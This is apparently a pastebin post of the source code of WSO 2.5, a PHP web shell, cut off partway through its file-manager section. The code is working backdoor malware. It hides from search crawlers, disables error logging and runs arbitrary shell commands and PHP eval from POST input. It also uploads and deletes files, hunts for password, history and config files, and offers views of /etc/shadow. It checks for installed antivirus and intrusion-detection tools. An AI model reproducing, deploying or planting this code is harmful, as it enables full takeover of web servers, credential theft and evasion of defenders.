· 8 years ago · Feb 23, 2018, 07:30 AM
1<?php
2$auth_pass = "6bc8d945fd4c86b9fa1eacc44442386a";
3$color = "#df5";
4$default_action = 'FilesMan';
5$default_use_ajax = true;
6$default_charset = 'Windows-1251';
7
8if (!empty($_SERVER['HTTP_USER_AGENT'])) {
9 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
10 if (preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
11 header('HTTP/1.0 404 Not Found');
12 exit;
13 }
14}
15
16@ini_set('error_log', NULL);
17@ini_set('log_errors', 0);
18@ini_set('max_execution_time', 0);
19@set_time_limit(0);
20//@set_magic_quotes_runtime(0);
21@define('WSO_VERSION', '2.5');
22
23if (get_magic_quotes_gpc()) {
24 /**
25 * @param $array
26 * @return array|string
27 */
28 function WSOstripslashes($array)
29 {
30 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
31 }
32
33 $_POST = WSOstripslashes($_POST);
34 $_COOKIE = WSOstripslashes($_COOKIE);
35}
36
37function wsoLogin()
38{
39 die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
40}
41
42/**
43 * @param $k
44 * @param $v
45 */
46function WSOsetcookie($k, $v)
47{
48 $_COOKIE[$k] = $v;
49 setcookie($k, $v);
50}
51
52if (!empty($auth_pass)) {
53 if (isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
54 WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
55
56 if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
57 wsoLogin();
58}
59
60if (strtolower(substr(PHP_OS, 0, 3)) == "win")
61 $os = 'win';
62else
63 $os = 'nix';
64
65$safe_mode = @ini_get('safe_mode');
66if (!$safe_mode)
67 error_reporting(0);
68
69$disable_functions = @ini_get('disable_functions');
70$home_cwd = @getcwd();
71if (isset($_POST['c']))
72 @chdir($_POST['c']);
73$cwd = @getcwd();
74if ($os == 'win') {
75 $home_cwd = str_replace("\\", "/", $home_cwd);
76 $cwd = str_replace("\\", "/", $cwd);
77}
78if ($cwd[strlen($cwd) - 1] != '/')
79 $cwd .= '/';
80
81if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
82 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
83
84if ($os == 'win')
85 $aliases = array(
86 "List Directory" => "dir",
87 "Find index.php in current dir" => "dir /s /w /b index.php",
88 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
89 "Show active connections" => "netstat -an",
90 "Show running services" => "net start",
91 "User accounts" => "net user",
92 "Show computers" => "net view",
93 "ARP Table" => "arp -a",
94 "IP Configuration" => "ipconfig /all"
95 );
96else
97 $aliases = array(
98 "List dir" => "ls -lha",
99 "list file attributes on a Linux second extended file system" => "lsattr -va",
100 "show opened ports" => "netstat -an | grep -i listen",
101 "process status" => "ps aux",
102 "Find" => "",
103 "find all suid files" => "find / -type f -perm -04000 -ls",
104 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
105 "find all sgid files" => "find / -type f -perm -02000 -ls",
106 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
107 "find config.inc.php files" => "find / -type f -name config.inc.php",
108 "find config* files" => "find / -type f -name \"config*\"",
109 "find config* files in current dir" => "find . -type f -name \"config*\"",
110 "find all writable folders and files" => "find / -perm -2 -ls",
111 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
112 "find all service.pwd files" => "find / -type f -name service.pwd",
113 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
114 "find all .htpasswd files" => "find / -type f -name .htpasswd",
115 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
116 "find all .bash_history files" => "find / -type f -name .bash_history",
117 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
118 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
119 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
120 "Locate" => "",
121 "locate httpd.conf files" => "locate httpd.conf",
122 "locate vhosts.conf files" => "locate vhosts.conf",
123 "locate proftpd.conf files" => "locate proftpd.conf",
124 "locate psybnc.conf files" => "locate psybnc.conf",
125 "locate my.conf files" => "locate my.conf",
126 "locate admin.php files" => "locate admin.php",
127 "locate cfg.php files" => "locate cfg.php",
128 "locate conf.php files" => "locate conf.php",
129 "locate config.dat files" => "locate config.dat",
130 "locate config.php files" => "locate config.php",
131 "locate config.inc files" => "locate config.inc",
132 "locate config.inc.php" => "locate config.inc.php",
133 "locate config.default.php files" => "locate config.default.php",
134 "locate config* files " => "locate config",
135 "locate .conf files" => "locate '.conf'",
136 "locate .pwd files" => "locate '.pwd'",
137 "locate .sql files" => "locate '.sql'",
138 "locate .htpasswd files" => "locate '.htpasswd'",
139 "locate .bash_history files" => "locate '.bash_history'",
140 "locate .mysql_history files" => "locate '.mysql_history'",
141 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
142 "locate backup files" => "locate backup",
143 "locate dump files" => "locate dump",
144 "locate priv files" => "locate priv"
145 );
146
147function wsoHeader()
148{
149 if (empty($_POST['charset']))
150 $_POST['charset'] = $GLOBALS['default_charset'];
151 global $color;
152 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION . "</title>
153<style>
154body{background-color:#444;color:#e1e1e1;}
155body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
156table.info{ color:#fff;background-color:#222; }
157span,h1,a{ color: $color !important; }
158span{ font-weight: bolder; }
159h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
160div.content{ padding: 5px;margin-left:5px;background-color:#333; }
161a{ text-decoration:none; }
162a:hover{ text-decoration:underline; }
163.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
164.bigarea{ width:100%;height:300px; }
165input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
166form{ margin:0px; }
167#toolsTbl{ text-align:center; }
168.toolsInp{ width: 300px }
169.main th{text-align:left;background-color:#5e5e5e;}
170.main tr:hover{background-color:#5e5e5e}
171.l1{background-color:#444}
172.l2{background-color:#333}
173pre{font-family:Courier,Monospace;}
174</style>
175<script>
176 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
177 var a_ = '" . htmlspecialchars(@$_POST['a']) . "'
178 var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';
179 var p1_ = '" . ((strpos(@$_POST['p1'], "\n") !== false) ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';
180 var p2_ = '" . ((strpos(@$_POST['p2'], "\n") !== false) ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';
181 var p3_ = '" . ((strpos(@$_POST['p3'], "\n") !== false) ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';
182 var d = document;
183 function set(a,c,p1,p2,p3,charset) {
184 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
185 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
186 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
187 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
188 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
189 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
190 }
191 function g(a,c,p1,p2,p3,charset) {
192 set(a,c,p1,p2,p3,charset);
193 d.mf.submit();
194 }
195 function a(a,c,p1,p2,p3,charset) {
196 set(a,c,p1,p2,p3,charset);
197 var params = 'ajax=true';
198 for(i=0;i<d.mf.elements.length;i++)
199 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
200 sr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);
201 }
202 function sr(url, params) {
203 if (window.XMLHttpRequest)
204 req = new XMLHttpRequest();
205 else if (window.ActiveXObject)
206 req = new ActiveXObject('Microsoft.XMLHTTP');
207 if (req) {
208 req.onreadystatechange = processReqChange;
209 req.open('POST', url, true);
210 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
211 req.send(params);
212 }
213 }
214 function processReqChange() {
215 if( (req.readyState == 4) )
216 if(req.status == 200) {
217 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
218 var arr=reg.exec(req.responseText);
219 eval(arr[2].substr(0, arr[1]));
220 } else alert('Request error!');
221 }
222</script>
223<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
224<form method=post name=mf style='display:none;'>
225<input type=hidden name=a>
226<input type=hidden name=c>
227<input type=hidden name=p1>
228<input type=hidden name=p2>
229<input type=hidden name=p3>
230<input type=hidden name=charset>
231</form>";
232 $freeSpace = @diskfreespace($GLOBALS['cwd']);
233 $totalSpace = @disk_total_space($GLOBALS['cwd']);
234 $totalSpace = $totalSpace ? $totalSpace : 1;
235 $release = @php_uname('r');
236 $kernel = @php_uname('s');
237 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
238 if (strpos('Linux', $kernel) !== false)
239 $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
240 else
241 $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
242 if (!function_exists('posix_getegid')) {
243 $user = @get_current_user();
244 $uid = @getmyuid();
245 $gid = @getmygid();
246 $group = "?";
247 } else {
248 $uid = @posix_getpwuid(posix_geteuid());
249 $gid = @posix_getgrgid(posix_getegid());
250 $user = $uid['name'];
251 $uid = $uid['uid'];
252 $group = $gid['name'];
253 $gid = $gid['gid'];
254 }
255
256 $cwd_links = '';
257 $path = explode("/", $GLOBALS['cwd']);
258 $n = count($path);
259 for ($i = 0; $i < $n - 1; $i++) {
260 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
261 for ($j = 0; $j <= $i; $j++)
262 $cwd_links .= $path[$j] . '/';
263 $cwd_links .= "\")'>" . $path[$i] . "/</a>";
264 }
265
266 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
267 $opt_charsets = '';
268 foreach ($charsets as $item)
269 $opt_charsets .= '<option value="' . $item . '" ' . ($_POST['charset'] == $item ? 'selected' : '') . '>' . $item . '</option>';
270
271 $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Sql' => 'Sql', 'Php' => 'Php', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
272 if (!empty($GLOBALS['auth_pass']))
273 $m['Logout'] = 'Logout';
274 $m['Self remove'] = 'SelfRemove';
275 $menu = '';
276 foreach ($m as $k => $v)
277 $menu .= '<th width="' . (int)(100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
278
279 $drives = "";
280 if ($GLOBALS['os'] == 'win') {
281 foreach (range('c', 'z') as $drive)
282 if (is_dir($drive . ':\\'))
283 $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
284 }
285 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>'
286 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>')
287 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' (' . (int)($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
288 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
289 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
290}
291
292function wsoFooter()
293{
294 $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='green'>(Writeable)</font>" : " <font color=red>(Not writable)</font>";
295 echo "
296</div>
297<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
298 <tr>
299 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>
300 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
301 </tr><tr>
302 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
303 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
304 </tr><tr>
305 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
306 <td><form method='post' ENCTYPE='multipart/form-data'>
307 <input type=hidden name=a value='FilesMAn'>
308 <input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>
309 <input type=hidden name=p1 value='uploadFile'>
310 <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
311 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
312 </tr></table></div></body></html>";
313}
314
315if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false)) {
316 /**
317 * @param $p
318 * @return bool
319 */
320 function posix_getpwuid($p)
321 {
322 return false;
323 }
324}
325if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false)) {
326 /**
327 * @param $p
328 * @return bool
329 */
330 function posix_getgrgid($p)
331 {
332 return false;
333 }
334}
335
336/**
337 * @param $in
338 * @return string
339 */
340function wsoEx($in)
341{
342 $out = '';
343 if (function_exists('exec')) {
344 @exec($in, $out);
345 $out = @join("\n", $out);
346 } elseif (function_exists('passthru')) {
347 ob_start();
348 @passthru($in);
349 $out = ob_get_clean();
350 } elseif (function_exists('system')) {
351 ob_start();
352 @system($in);
353 $out = ob_get_clean();
354 } elseif (function_exists('shell_exec')) {
355 $out = shell_exec($in);
356 } elseif (is_resource($f = @popen($in, "r"))) {
357 $out = "";
358 while (!@feof($f))
359 $out .= fread($f, 1024);
360 pclose($f);
361 }
362 return $out;
363}
364
365/**
366 * @param $s
367 * @return string
368 */
369function wsoViewSize($s)
370{
371 if (is_int($s))
372 $s = sprintf("%u", $s);
373
374 if ($s >= 1073741824)
375 return sprintf('%1.2f', $s / 1073741824) . ' GB';
376 elseif ($s >= 1048576)
377 return sprintf('%1.2f', $s / 1048576) . ' MB';
378 elseif ($s >= 1024)
379 return sprintf('%1.2f', $s / 1024) . ' KB';
380 else
381 return $s . ' B';
382}
383
384/**
385 * @param $p
386 * @return string
387 */
388function wsoPerms($p)
389{
390 if (($p & 0xC000) == 0xC000) $i = 's';
391 elseif (($p & 0xA000) == 0xA000) $i = 'l';
392 elseif (($p & 0x8000) == 0x8000) $i = '-';
393 elseif (($p & 0x6000) == 0x6000) $i = 'b';
394 elseif (($p & 0x4000) == 0x4000) $i = 'd';
395 elseif (($p & 0x2000) == 0x2000) $i = 'c';
396 elseif (($p & 0x1000) == 0x1000) $i = 'p';
397 else $i = 'u';
398 $i .= (($p & 0x0100) ? 'r' : '-');
399 $i .= (($p & 0x0080) ? 'w' : '-');
400 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x') : (($p & 0x0800) ? 'S' : '-'));
401 $i .= (($p & 0x0020) ? 'r' : '-');
402 $i .= (($p & 0x0010) ? 'w' : '-');
403 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x') : (($p & 0x0400) ? 'S' : '-'));
404 $i .= (($p & 0x0004) ? 'r' : '-');
405 $i .= (($p & 0x0002) ? 'w' : '-');
406 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x') : (($p & 0x0200) ? 'T' : '-'));
407 return $i;
408}
409
410/**
411 * @param $f
412 * @return string
413 */
414function wsoPermsColor($f)
415{
416 if (!@is_readable($f))
417 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
418 elseif (!@is_writable($f))
419 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
420 else
421 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
422}
423
424/**
425 * @param $dir
426 * @return array
427 */
428function wsoScandir($dir)
429{
430 if (function_exists("scandir")) {
431 return scandir($dir);
432 } else {
433 $dh = opendir($dir);
434 while (false !== ($filename = readdir($dh)))
435 $files[] = $filename;
436 return $files;
437 }
438}
439
440/**
441 * @param $p
442 * @return bool|string
443 */
444function wsoWhich($p)
445{
446 $path = wsoEx('which ' . $p);
447 if (!empty($path))
448 return $path;
449 return false;
450}
451
452function actionSecInfo()
453{
454 wsoHeader();
455 echo '<h1>Server security information</h1><div class=content>';
456 /**
457 * @param $n
458 * @param $v
459 */
460 function wsoSecParam($n, $v)
461 {
462 $v = trim($v);
463 if ($v) {
464 echo '<span>' . $n . ': </span>';
465 if (strpos($v, "\n") === false)
466 echo $v . '<br>';
467 else
468 echo '<pre class=ml1>' . $v . '</pre>';
469 }
470 }
471
472 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
473 if (function_exists('apache_get_modules'))
474 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
475 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
476 wsoSecParam('Open base dir', @ini_get('open_basedir'));
477 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
478 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
479 wsoSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
480 $temp = array();
481 if (function_exists('mysql_get_client_info'))
482 $temp[] = "MySql (" . mysql_get_client_info() . ")";
483 if (function_exists('mssql_connect'))
484 $temp[] = "MSSQL";
485 if (function_exists('pg_connect'))
486 $temp[] = "PostgreSQL";
487 if (function_exists('oci_connect'))
488 $temp[] = "Oracle";
489 wsoSecParam('Supported databases', implode(', ', $temp));
490 echo '<br>';
491
492 if ($GLOBALS['os'] == 'nix') {
493 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
494 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
495 wsoSecParam('OS version', @file_get_contents('/proc/version'));
496 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
497 if (!$GLOBALS['safe_mode']) {
498 $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
499 $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
500 $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
501 echo '<br>';
502 $temp = array();
503 foreach ($userful as $item)
504 if (wsoWhich($item))
505 $temp[] = $item;
506 wsoSecParam('Userful', implode(', ', $temp));
507 $temp = array();
508 foreach ($danger as $item)
509 if (wsoWhich($item))
510 $temp[] = $item;
511 wsoSecParam('Danger', implode(', ', $temp));
512 $temp = array();
513 foreach ($downloaders as $item)
514 if (wsoWhich($item))
515 $temp[] = $item;
516 wsoSecParam('Downloaders', implode(', ', $temp));
517 echo '<br/>';
518 wsoSecParam('HDD space', wsoEx('df -h'));
519 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
520 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
521 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
522 $temp = "";
523 for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
524 $uid = @posix_getpwuid($_POST['p2']);
525 if ($uid)
526 $temp .= join(':', $uid) . "\n";
527 }
528 echo '<br/>';
529 wsoSecParam('Users', $temp);
530 }
531 }
532 } else {
533 wsoSecParam('OS Version', wsoEx('ver'));
534 wsoSecParam('Account Settings', wsoEx('net accounts'));
535 wsoSecParam('User Accounts', wsoEx('net user'));
536 }
537 echo '</div>';
538 wsoFooter();
539}
540
541function actionPhp()
542{
543 if (isset($_POST['ajax'])) {
544 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
545 ob_start();
546 eval($_POST['p1']);
547 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
548 echo strlen($temp), "\n", $temp;
549 exit;
550 }
551 if (empty($_POST['ajax']) && !empty($_POST['p1']))
552 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
553
554 wsoHeader();
555 if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
556 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
557 ob_start();
558 phpinfo();
559 $tmp = ob_get_clean();
560 $tmp = preg_replace(array(
561 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
562 '!td, th {(.*)}!msiU',
563 '!<img[^>]+>!msiU',
564 ), array(
565 '',
566 '.e, .v, .h, .h th {$1}',
567 ''
568 ), $tmp);
569 echo str_replace('<h1', '<h2', $tmp) . '</div><br>';
570 }
571 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
572 echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
573 if (!empty($_POST['p1'])) {
574 ob_start();
575 eval($_POST['p1']);
576 echo htmlspecialchars(ob_get_clean());
577 }
578 echo '</pre></div>';
579 wsoFooter();
580}
581
582function actionFilesMan()
583{
584 if (!empty ($_COOKIE['f']))
585 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
586
587 if (!empty($_POST['p1'])) {
588 switch ($_POST['p1']) {
589 case 'uploadFile':
590 if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
591 echo "Can't upload file!";
592 break;
593 case 'mkdir':
594 if (!@mkdir($_POST['p2']))
595 echo "Can't create new dir";
596 break;
597 case 'delete':
598 /**
599 * @param $path
600 */
601 function deleteDir($path)
602 {
603 $path = (substr($path, -1) == '/') ? $path : $path . '/';
604 $dh = opendir($path);
605 while (($item = readdir($dh)) !== false) {
606 $item = $path . $item;
607 if ((basename($item) == "..") || (basename($item) == "."))
608 continue;
609 $type = filetype($item);
610 if ($type == "dir")
611 deleteDir($item);
612 else
613 @unlink($item);
614 }
615 closedir($dh);
616 @rmdir($path);
617 }
618
619 if (is_array(@$_POST['f']))
620 foreach ($_POST['f'] as $f) {
621 if ($f == '..')
622 continue;
623 $f = urldecode($f);
624 if (is_dir($f))
625 deleteDir($f);
626 else
627 @unlink($f);
628 }
629 break;
630 case 'paste':
631 if ($_COOKIE['act'] == 'copy') {
632 /**
633 * @param $c
634 * @param $s
635 * @param $d
636 */
637 function copy_paste($c, $s, $d)
638 {
639 if (is_dir($c . $s)) {
640 mkdir($d . $s);
641 $h = @opendir($c . $s);
642 while (($f = @readdir($h)) !== false)
643 if (($f != ".") and ($f != ".."))
644 copy_paste($c . $s . '/', $f, $d . $s . '/');
645 } elseif (is_file($c . $s))
646 @copy($c . $s, $d . $s);
647 }
648
649 foreach ($_COOKIE['f'] as $f)
650 copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
651 } elseif ($_COOKIE['act'] == 'move') {
652 /**
653 * @param $c
654 * @param $s
655 * @param $d
656 */
657 function move_paste($c, $s, $d)
658 {
659 if (is_dir($c . $s)) {
660 mkdir($d . $s);
661 $h = @opendir($c . $s);
662 while (($f = @readdir($h)) !== false)
663 if (($f != ".") and ($f != ".."))
664 copy_paste($c . $s . '/', $f, $d . $s . '/');
665 } elseif (@is_file($c . $s))
666 @copy($c . $s, $d . $s);
667 }
668
669 foreach ($_COOKIE['f'] as $f)
670 @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
671 } elseif ($_COOKIE['act'] == 'zip') {
672 if (class_exists('ZipArchive')) {
673 $zip = new ZipArchive();
674 if ($zip->open($_POST['p2'], 1)) {
675 chdir($_COOKIE['c']);
676 foreach ($_COOKIE['f'] as $f) {
677 if ($f == '..')
678 continue;
679 if (@is_file($_COOKIE['c'] . $f))
680 $zip->addFile($_COOKIE['c'] . $f, $f);
681 elseif (@is_dir($_COOKIE['c'] . $f)) {
682 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
683 foreach ($iterator as $key => $value) {
684 $zip->addFile(realpath($key), $key);
685 }
686 }
687 }
688 chdir($GLOBALS['cwd']);
689 $zip->close();
690 }
691 }
692 } elseif ($_COOKIE['act'] == 'unzip') {
693 if (class_exists('ZipArchive')) {
694 $zip = new ZipArchive();
695 foreach ($_COOKIE['f'] as $f) {
696 if ($zip->open($_COOKIE['c'] . $f)) {
697 $zip->extractTo($GLOBALS['cwd']);
698 $zip->close();
699 }
700 }
701 }
702 } elseif ($_COOKIE['act'] == 'tar') {
703 chdir($_COOKIE['c']);
704 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
705 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
706 chdir($GLOBALS['cwd']);
707 }
708 unset($_COOKIE['f']);
709 setcookie('f', '', time() - 3600);
710 break;
711 default:
712 if (!empty($_POST['p1'])) {
713 WSOsetcookie('act', $_POST['p1']);
714 WSOsetcookie('f', serialize(@$_POST['f']));
715 WSOsetcookie('c', @$_POST['c']);
716 }
717 break;
718 }
719 }
720 wsoHeader();
721 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
722 $dirContent = wsoScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
723 if ($dirContent === false) {
724 echo 'Can\'t open this folder!';
725 wsoFooter();
726 return;
727 }
728 global $sort;
729 $sort = array('name', 1);
730 if (!empty($_POST['p1'])) {
731 if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
732 $sort = array($match[1], (int)$match[2]);
733 }
734 echo "<script>
735 function sa() {
736 for(i=0;i<d.files.elements.length;i++)
737 if(d.files.elements[i].type == 'checkbox')
738 d.files.elements[i].checked = d.files.elements[0].checked;
739 }
740</script>
741<table width='100%' class='main' cellspacing='0' cellpadding='2'>
